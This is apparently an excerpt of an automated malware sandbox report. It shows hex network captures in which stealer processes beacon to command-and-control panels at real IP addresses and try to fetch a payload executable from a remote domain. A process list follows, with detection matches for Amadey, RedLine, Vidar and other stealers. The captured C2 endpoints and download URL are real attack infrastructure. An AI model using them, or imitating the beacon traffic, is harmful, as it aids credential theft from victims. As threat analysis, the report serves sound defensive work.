Jul 13, 2024 07:09:04.684670925 CEST	1236	IN	Data Raw: 04 c7 46 1c 00 00 00 00 8b 46 14 85 c0 74 09 50 e8 f0 2d 0a 00 83 c4 04 c7 46 14 00 00 00 00 8b 46 0c 85 c0 74 09 50 e8 d9 2d 0a 00 83 c4 04 c7 46 0c 00 00 00 00 8b 46 04 85 c0 74 09 50 e8 c2 2d 0a 00 83 c4 04 c7 46 04 00 00 00 00 8b ce 5e e9 5e Data Ascii: FFtP-FFtP-FFtP-F^^Vqh@D0LFHAD1NFV@D0LLFHAD1L^+Iv+IUVuEtjXV^]
Jul 13, 2024 07:09:04.684746027 CEST	448	IN	Data Raw: 4c 00 66 0f fd c8 f3 0f 7e 44 4d b0 66 0f ef c8 66 0f d6 4c 4d b0 83 c1 08 83 f9 18 0f 8c 11 ff ff ff 83 f9 1e 7d 28 b8 09 cb 3d 8d f7 e9 03 d1 c1 fa 05 8b c2 c1 e8 1f 03 c2 8b d1 6b c0 3a 2b d0 83 c2 33 66 31 54 4d a8 41 83 f9 1e 7c d8 8d 4d a8 Data Ascii: Lf~DMffLM}(=k:+3f1TMA\|MEEQEffu+EWQPM\}EjCEjjjPLUr2MUrI#+RQ3EEfE
Jul 13, 2024 07:09:04.684755087 CEST	1236	IN	Data Raw: de ff ff 50 56 ff d3 85 c0 74 33 8b 45 fc 85 c0 74 2c 6a 00 50 8d 85 f0 de ff ff 50 8d 8d f0 fe ff ff e8 fc 13 00 00 8d 45 fc 50 68 00 20 00 00 8d 85 f0 de ff ff 50 56 ff d3 85 c0 75 cd 8d 8d f4 fe ff ff e8 6a 07 00 00 5b 85 c0 75 39 8b 85 f0 fe Data Ascii: PVt3Et,jPPEPh PVuj[u93H9(E#u&V5LW3#^_]#tLLLDEjPMPVbh`rMEP
Jul 13, 2024 07:09:04.690160990 CEST	1236	IN	Data Raw: 8b c2 8b 77 10 2b c6 89 75 f4 89 55 fc 3b d8 77 2d 8d 04 1e 89 47 10 8b c7 83 fa 10 72 02 8b 07 53 ff 75 08 03 f0 56 e8 23 ea 09 00 83 c4 0c c6 04 1e 00 8b c7 5f 5e 5b 8b e5 5d c2 08 00 b8 ff ff ff 7f 2b c6 3b c3 0f 82 ed 00 00 00 8d 0c 1e 83 c9 Data Ascii: w+uU;w-GrSuV#_^[]+;v$E+E;vE;BAMPEOMO0M}MrYu7VPSuuEMArV#+FwN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	59120	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:09:04.660130024 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:09:05.314975023 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:09:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.5	59121	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:09:05.326070070 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:09:05.970479012 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:09:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	59122	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:09:06.083504915 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:09:06.744210005 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:09:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.5	59123	77.91.77.81	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:09:06.467300892 CEST	180	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 32 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000243001&unit=246122658369
Jul 13, 2024 07:09:07.178098917 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:09:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.5	59124	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:09:06.756467104 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:09:07.431977987 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:09:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.5	59125	77.91.77.81	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:09:07.300381899 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:09:08.015490055 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:09:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	58984	188.114.96.3	443	7516	C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-13 05:07:08 UTC	383	OUT	POST /Annie%20E.%20Vinton%20Elementary%20School?heajhvyh=HhGyJapR6QHO0GNqPiJwFkKrnpbzuRzpMpICBW59RiiZWn5BOMbrxA80cyNHFH6KB%2FS9qBjCCf9IE8dNPX1TZw%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0. Content-Length: 96 Host: bflow-musico.fun
2024-07-13 05:07:08 UTC	96	OUT	Data Raw: 03 00 00 00 00 00 00 00 00 00 00 00 fd ff ff ff 92 00 00 2d 00 00 00 00 00 00 00 00 00 00 00 fe ff ff ff 97 00 a0 a0 a0 ff ff d9 24 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: -$9e146be9-c76a-4720-bcdb-53011b87bd06
2024-07-13 05:07:08 UTC	508	IN	HTTP/1.1 204 No Content Date: Sat, 13 Jul 2024 05:07:08 GMT Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7euHzABh5JtFAkoT5DsDkztSGAr7NalPisaA1LYeS8d7AhqFUk8EQ1Lg6Bz9SoUmeZiJ9FplyHv7Exh3WnIgZInTihu2mePvHt2knHPsEVxsx%2BzxRe9e2DcoAZOYoENDQWQ6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a26bf690dea4261-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	58992	15.235.80.22	443	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-13 05:07:18 UTC	48	OUT	GET /tmp/1.exe HTTP/1.1 Host: foodbook.live
2024-07-13 05:07:18 UTC	189	IN	HTTP/1.1 404 Not Found Date: Sat, 13 Jul 2024 05:07:18 GMT Server: Apache Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-07-13 05:07:18 UTC	27	IN	Data Raw: 31 30 0d 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 10File not found.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	59214	104.18.11.5	443	1772	C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-13 05:09:36 UTC	159	OUT	GET /v2/?request=displayproxies&protocol=socks4&timeout=10000&country=all&ssl=all&anonymity=all HTTP/1.1 Host: api.proxyscrape.com Connection: Keep-Alive
2024-07-13 05:09:36 UTC	351	IN	HTTP/1.1 200 OK Date: Sat, 13 Jul 2024 05:09:36 GMT Content-Type: text/plain;charset=UTF-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding Cache-Control: no-store CF-Cache-Status: HIT Age: 128 Last-Modified: Sat, 13 Jul 2024 05:07:28 GMT Access-Control-Allow-Origin: * Server: cloudflare CF-RAY: 8a26c3075dd84294-EWR
2024-07-13 05:09:36 UTC	1018	IN	Data Raw: 65 62 31 0d 0a 31 37 34 2e 36 34 2e 31 39 39 2e 38 32 3a 34 31 34 35 0d 0a 31 39 38 2e 31 35 37 2e 36 38 2e 34 37 3a 31 33 33 37 0d 0a 32 32 32 2e 31 36 35 2e 32 32 33 2e 31 33 38 3a 34 31 35 34 31 0d 0a 33 31 2e 32 30 30 2e 32 34 32 2e 32 30 31 3a 31 32 31 39 36 0d 0a 34 37 2e 31 32 31 2e 31 38 33 2e 31 30 37 3a 33 31 32 38 0d 0a 34 37 2e 31 32 31 2e 31 38 32 2e 38 38 3a 38 30 38 31 0d 0a 31 39 33 2e 32 30 30 2e 31 35 31 2e 31 35 38 3a 38 31 39 32 0d 0a 38 33 2e 32 33 34 2e 31 34 37 2e 31 36 36 3a 36 33 36 33 0d 0a 31 37 31 2e 32 31 37 2e 36 39 2e 31 31 33 3a 31 30 38 30 30 0d 0a 31 31 33 2e 31 36 31 2e 32 31 30 2e 36 30 3a 34 31 35 33 0d 0a 34 37 2e 31 31 36 2e 32 31 30 2e 31 36 33 3a 38 30 0d 0a 37 32 2e 31 39 35 2e 33 34 2e 34 32 3a 34 31 34 35 0d 0a Data Ascii: eb1174.64.199.82:4145198.157.68.47:1337222.165.223.138:4154131.200.242.201:1219647.121.183.107:312847.121.182.88:8081193.200.151.158:819283.234.147.166:6363171.217.69.113:10800113.161.210.60:415347.116.210.163:8072.195.34.42:4145
2024-07-13 05:09:36 UTC	1369	IN	Data Raw: 35 3a 33 39 39 31 38 0d 0a 31 37 37 2e 37 32 2e 38 32 2e 39 3a 35 36 37 38 0d 0a 36 37 2e 34 33 2e 32 33 36 2e 32 30 3a 31 32 37 39 37 0d 0a 38 2e 32 31 33 2e 31 32 38 2e 39 30 3a 38 30 36 30 0d 0a 31 39 32 2e 32 35 32 2e 32 31 34 2e 32 30 3a 31 35 38 36 34 0d 0a 32 30 31 2e 37 31 2e 32 2e 31 37 37 3a 39 39 39 0d 0a 31 30 37 2e 31 38 30 2e 31 30 31 2e 32 32 36 3a 33 37 35 35 32 0d 0a 31 31 37 2e 37 34 2e 36 35 2e 32 30 37 3a 38 30 0d 0a 34 39 2e 32 32 39 2e 33 36 2e 31 37 30 3a 34 31 35 33 0d 0a 37 32 2e 33 37 2e 32 31 36 2e 36 38 3a 34 31 34 35 0d 0a 31 39 30 2e 31 30 39 2e 37 32 2e 32 35 3a 33 33 36 33 33 0d 0a 34 37 2e 39 30 2e 31 36 37 2e 32 37 3a 33 31 32 38 0d 0a 31 34 32 2e 35 34 2e 32 33 35 2e 39 3a 34 31 34 35 0d 0a 34 35 2e 37 39 2e 31 38 39 2e Data Ascii: 5:39918177.72.82.9:567867.43.236.20:127978.213.128.90:8060192.252.214.20:15864201.71.2.177:999107.180.101.226:37552117.74.65.207:8049.229.36.170:415372.37.216.68:4145190.109.72.25:3363347.90.167.27:3128142.54.235.9:414545.79.189.
2024-07-13 05:09:36 UTC	1369	IN	Data Raw: 2e 32 34 33 3a 31 30 38 30 0d 0a 31 33 35 2e 31 34 38 2e 31 30 2e 31 36 31 3a 31 39 32 31 32 0d 0a 34 36 2e 38 2e 36 30 2e 32 3a 31 30 38 30 0d 0a 31 34 38 2e 37 32 2e 32 31 32 2e 32 35 32 3a 36 34 37 35 33 0d 0a 37 32 2e 31 30 2e 31 36 30 2e 31 37 32 3a 31 30 34 32 35 0d 0a 31 38 34 2e 31 38 31 2e 32 31 37 2e 32 30 31 3a 34 31 34 35 0d 0a 32 31 32 2e 31 39 2e 31 37 31 2e 34 38 3a 38 30 38 30 0d 0a 31 37 37 2e 33 39 2e 31 39 33 2e 31 30 39 3a 33 31 32 38 0d 0a 31 30 33 2e 35 34 2e 31 34 38 2e 31 38 39 3a 31 30 38 30 0d 0a 32 37 2e 31 32 33 2e 33 2e 31 34 31 3a 34 31 34 35 0d 0a 31 36 32 2e 32 31 34 2e 37 35 2e 32 33 37 3a 32 34 39 34 39 0d 0a 37 32 2e 31 39 35 2e 33 34 2e 35 38 3a 34 31 34 35 0d 0a 31 39 37 2e 32 35 31 2e 32 33 36 2e 32 32 36 3a 35 36 37 Data Ascii: .243:1080135.148.10.161:1921246.8.60.2:1080148.72.212.252:6475372.10.160.172:10425184.181.217.201:4145212.19.171.48:8080177.39.193.109:3128103.54.148.189:108027.123.3.141:4145162.214.75.237:2494972.195.34.58:4145197.251.236.226:567
2024-07-13 05:09:36 UTC	12	IN	Data Raw: 35 35 3a 31 30 31 30 31 0d 0a 0d 0a Data Ascii: 55:10101
2024-07-13 05:09:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	01:05:54
Start date:	13/07/2024
Path:	C:\Users\user\Desktop\mlk3kK6uLZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\mlk3kK6uLZ.exe"
Imagebase:	0xb0000
File size:	1'880'576 bytes
MD5 hash:	B85FA0D79D936B8B006C535D006C7F29
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2042832211.00000000000B1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2002501733.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:05:56
Start date:	13/07/2024
Path:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
Imagebase:	0x9c0000
File size:	1'880'576 bytes
MD5 hash:	B85FA0D79D936B8B006C535D006C7F29
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2036537353.00000000051A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 63%, ReversingLabs Detection: 72%, Virustotal, Browse
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	01:05:56
Start date:	13/07/2024
Path:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe"
Imagebase:	0x9c0000
File size:	1'880'576 bytes
MD5 hash:	B85FA0D79D936B8B006C535D006C7F29
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2036875774.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2077451585.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:06:02
Start date:	13/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe"
Imagebase:	0xaa0000
File size:	1'143'296 bytes
MD5 hash:	5486FD5B8200F34B23F23A21F8912ADE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs Detection: 82%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:06:04
Start date:	13/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x530000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000005.00000002.2098178516.0000000000479000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	01:06:04
Start date:	13/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	01:06:04
Start date:	13/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 6472 -ip 6472
Imagebase:	0x1b0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:06:04
Start date:	13/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6472 -s 284
Imagebase:	0x1b0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	01:06:04
Start date:	13/07/2024
Path:	C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe"
Imagebase:	0xaa0000
File size:	390'144 bytes
MD5 hash:	1B75671FB234AE1FB72406A317FA752A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000009.00000000.2094530359.0000000000AA2000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe, Author: Joe Security Rule: MALWARE_Win_zgRAT, Description: Detects zgRAT, Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 64%, ReversingLabs Detection: 45%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	01:06:04
Start date:	13/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	01:06:04
Start date:	13/07/2024
Path:	C:\Users\user\AppData\Roaming\VP2pdCInvS.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\VP2pdCInvS.exe"
Imagebase:	0x890000
File size:	311'296 bytes
MD5 hash:	15A7CAE61788E4718D3C33ABB7BE6436
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000B.00000000.2095785467.0000000000892000.00000002.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.2231034006.0000000002DD4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 71%, ReversingLabs Detection: 82%, Virustotal, Browse
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	01:06:04
Start date:	13/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	01:06:05
Start date:	13/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Imagebase:	0x7ff6d64d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	01:06:16
Start date:	13/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	01:07:01
Start date:	13/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000202001\hello.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000202001\hello.exe"
Imagebase:	0xee0000
File size:	1'115'648 bytes
MD5 hash:	2EB71684C81D24144953FE0F6F5B392C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	01:07:02
Start date:	13/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	01:07:02
Start date:	13/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
Imagebase:	0x200000
File size:	43'016 bytes
MD5 hash:	5D1D74198D75640E889F0A577BBF31FC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
